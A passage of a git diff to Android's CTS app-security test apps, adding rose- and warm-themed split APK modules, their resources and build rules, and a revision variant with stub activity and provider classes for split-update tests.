+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -39,6 +39,13 @@
             <meta-data android:name="android.service.wallpaper"
                  android:resource="@xml/my_activity_meta"/>
         </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
         <receiver android:name=".MyReceiver"
              android:enabled="@bool/my_receiver_enabled"
              android:exported="true">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
new file mode 100644
index 0000000..a691536
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSplitAppFeatureRose",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    // Generate an api split.
+    package_splits: ["v23"],
+    certificate: ":cts-testkey1",
+    libs: ["CtsSplitApp"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+        "--package-id 0x81",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
new file mode 100644
index 0000000..8666555
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_rose">
+
+    <application>
+        <activity android:name=".RoseThemeActivity" android:theme="@style/Theme_Rose"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
new file mode 100644
index 0000000..2a4ddf3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
new file mode 100644
index 0000000..1b22fba
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light rose colors for Theme_Rose -->
+    <color name="rose_custom_color">@color/pink_light</color>
+    <color name="rose_navigation_bar_color">@color/rose_light</color>
+    <color name="rose_status_bar_color">@color/ruby_light</color>
+
+    <color name="pink_light">#ffffb6c1</color>
+    <color name="rose_light">#ffff66cc</color>
+    <color name="ruby_light">#ffff0da6</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
new file mode 100644
index 0000000..9a0ffe0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Rose" parent="@style/Theme_Base">
+        <item name="customColor">@color/rose_custom_color</item>
+        <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+        <item name="android:navigationBarColor">@color/rose_navigation_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
new file mode 100644
index 0000000..aafd845
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <!-- rose colors for Theme_Rose -->
+    <color name="rose_custom_color">@color/pink</color>
+    <color name="rose_navigation_bar_color">@color/rose</color>
+    <color name="rose_status_bar_color">@color/ruby</color>
+
+    <color name="pink">#ffffc0cb</color>
+    <color name="rose">#ffff0da6</color>
+    <color name="ruby">#ffcc0080</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
new file mode 100644
index 0000000..607a392
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Rose" parent="@style/Theme_Base">
+        <item name="customColor">@color/rose_custom_color</item>
+        <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+        <item name="android:statusBarColor">@color/rose_status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
new file mode 100644
index 0000000..5803fdf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class RoseThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
similarity index 61%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.bp
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
index 825eb76..0dcd16a 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
@@ -15,7 +15,7 @@
 //
 
 java_defaults {
-    name: "CtsSplitAppFeatureDefaults",
+    name: "CtsSplitAppFeatureWarmDefaults",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
     asset_dirs: ["assets"],
@@ -26,9 +26,12 @@
 }
 
 android_test_helper_app {
-    name: "CtsSplitAppFeature",
-    defaults: ["CtsSplitAppFeatureDefaults"],
-    package_splits: ["v7"],
+    name: "CtsSplitAppFeatureWarm",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    package_splits: [
+        "v7",
+        "v23",
+    ],
     certificate: ":cts-testkey1",
     aaptflags: [
         "--version-code 100",
@@ -44,8 +47,8 @@
 
 // Define a variant requiring a split for install
 android_test_helper_app {
-    name: "CtsNeedSplitFeature",
-    defaults: ["CtsSplitAppFeatureDefaults"],
+    name: "CtsNeedSplitFeatureWarm",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
     manifest: "needsplit/AndroidManifest.xml",
     package_splits: ["v7"],
     certificate: ":cts-testkey1",
@@ -61,3 +64,28 @@
         "general-tests",
     ],
 }
+
+// Define a variant with different codes and resources for the inherit updated test of the
+// feature_warm apk
+android_test_helper_app {
+    name: "CtsSplitAppFeatureWarmRevisionA",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+    resource_dirs: ["res", "revision_a/res"],
+    asset_dirs: ["revision_a/assets"],
+    manifest : "revision_a/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 10",
+        "--version-name OneHundredRevisionTen",
+        "--replace-version",
+        "--package-id 0x80",
+        "--auto-add-overlay",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
similarity index 84%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
index c1ce39e..01cb9b7 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
@@ -16,7 +16,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.android.cts.splitapp"
-     split="feature">
+     split="feature_warm">
 
     <uses-sdk android:minSdkVersion="4"
          android:targetSdkVersion="27"/>
@@ -35,6 +35,13 @@
             <meta-data android:name="android.service.wallpaper"
                  android:resource="@xml/my_activity_meta"/>
         </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
         <receiver android:name=".FeatureReceiver"
              android:enabled="@bool/feature_receiver_enabled"
              android:exported="true">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
similarity index 84%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
index 07f19e4..927c95e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
@@ -16,7 +16,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.android.cts.splitapp"
-     split="feature"
+     split="feature_warm"
      android:isSplitRequired="true">
 
     <uses-sdk android:minSdkVersion="4"
@@ -36,6 +36,13 @@
             <meta-data android:name="android.service.wallpaper"
                  android:resource="@xml/my_activity_meta"/>
         </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
         <receiver android:name=".FeatureReceiver"
              android:enabled="@bool/feature_receiver_enabled"
              android:exported="true">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
new file mode 100644
index 0000000..d9a8bf2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light warm colors for Theme_Warm -->
+    <color name="warm_custom_color">@color/red_light</color>
+    <color name="warm_navigation_bar_color">@color/orange_light</color>
+    <color name="warm_status_bar_color">@color/yellow_light</color>
+
+    <color name="red_light">#ffffcccb</color>
+    <color name="orange_light">#fffed8b1</color>
+    <color name="yellow_light">#ffffffed</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
new file mode 100644
index 0000000..bcdfda9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Warm" parent="@style/Theme_Base">
+        <item name="customColor">@color/warm_custom_color</item>
+        <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+        <item name="android:navigationBarColor">@color/warm_navigation_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
new file mode 100644
index 0000000..471403d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- warm colors for Theme_Warm -->
+    <color name="warm_custom_color">@color/red</color>
+    <color name="warm_navigation_bar_color">@color/orange</color>
+    <color name="warm_status_bar_color">@color/yellow</color>
+
+    <color name="red">#ffff0000</color>
+    <color name="orange">#ffffa500</color>
+    <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
new file mode 100644
index 0000000..2c6461a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Warm" parent="@style/Theme_Base">
+        <item name="customColor">@color/warm_custom_color</item>
+        <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+        <item name="android:statusBarColor">@color/warm_status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
similarity index 68%
copy from hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
copy to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
index c1ce39e..5398e47 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
+<!-- Copyright (C) 2020 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -16,17 +16,14 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.android.cts.splitapp"
-     split="feature">
+     split="feature_warm">
 
     <uses-sdk android:minSdkVersion="4"
          android:targetSdkVersion="27"/>
 
-    <!-- New permission should be ignored -->
-    <uses-permission android:name="android.permission.INTERNET"/>
-
-    <!-- New application flag should be ignored -->
-    <application android:largeHeap="true">
-        <activity android:name=".FeatureActivity"
+    <application>
+        <!-- Updates to .revision_a.FeatureActivity -->
+        <activity android:name=".revision_a.FeatureActivity"
              android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -35,6 +32,13 @@
             <meta-data android:name="android.service.wallpaper"
                  android:resource="@xml/my_activity_meta"/>
         </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
         <receiver android:name=".FeatureReceiver"
              android:enabled="@bool/feature_receiver_enabled"
              android:exported="true">
@@ -42,13 +46,15 @@
                 <action android:name="android.intent.action.DATE_CHANGED"/>
             </intent-filter>
         </receiver>
-        <service android:name=".FeatureService"
+        <!-- Updates to .revision_a.FeatureService -->
+        <service android:name=".revision_a.FeatureService"
              android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.splitapp.service"/>
             </intent-filter>
         </service>
-        <provider android:name=".FeatureProvider"
+        <!-- Updates to .revision_a.FeatureProvider -->
+        <provider android:name=".revision_a.FeatureProvider"
              android:authorities="com.android.cts.splitapp.provider"/>
     </application>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
new file mode 100644
index 0000000..bfa925e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
@@ -0,0 +1 @@
+DIRFILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
new file mode 100644
index 0000000..0c81c70
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
@@ -0,0 +1 @@
+FILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
new file mode 100644
index 0000000..a5cabe2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <bool name="feature_receiver_enabled">false</bool>
+    <string name="feature_string">red-revision</string>
+    <integer name="feature_integer">456</integer>
+
+    <string name="feature_new_string">feature new string</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
new file mode 100644
index 0000000..790c2ad
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class FeatureActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
new file mode 100644
index 0000000..f1a6fd0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class FeatureProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
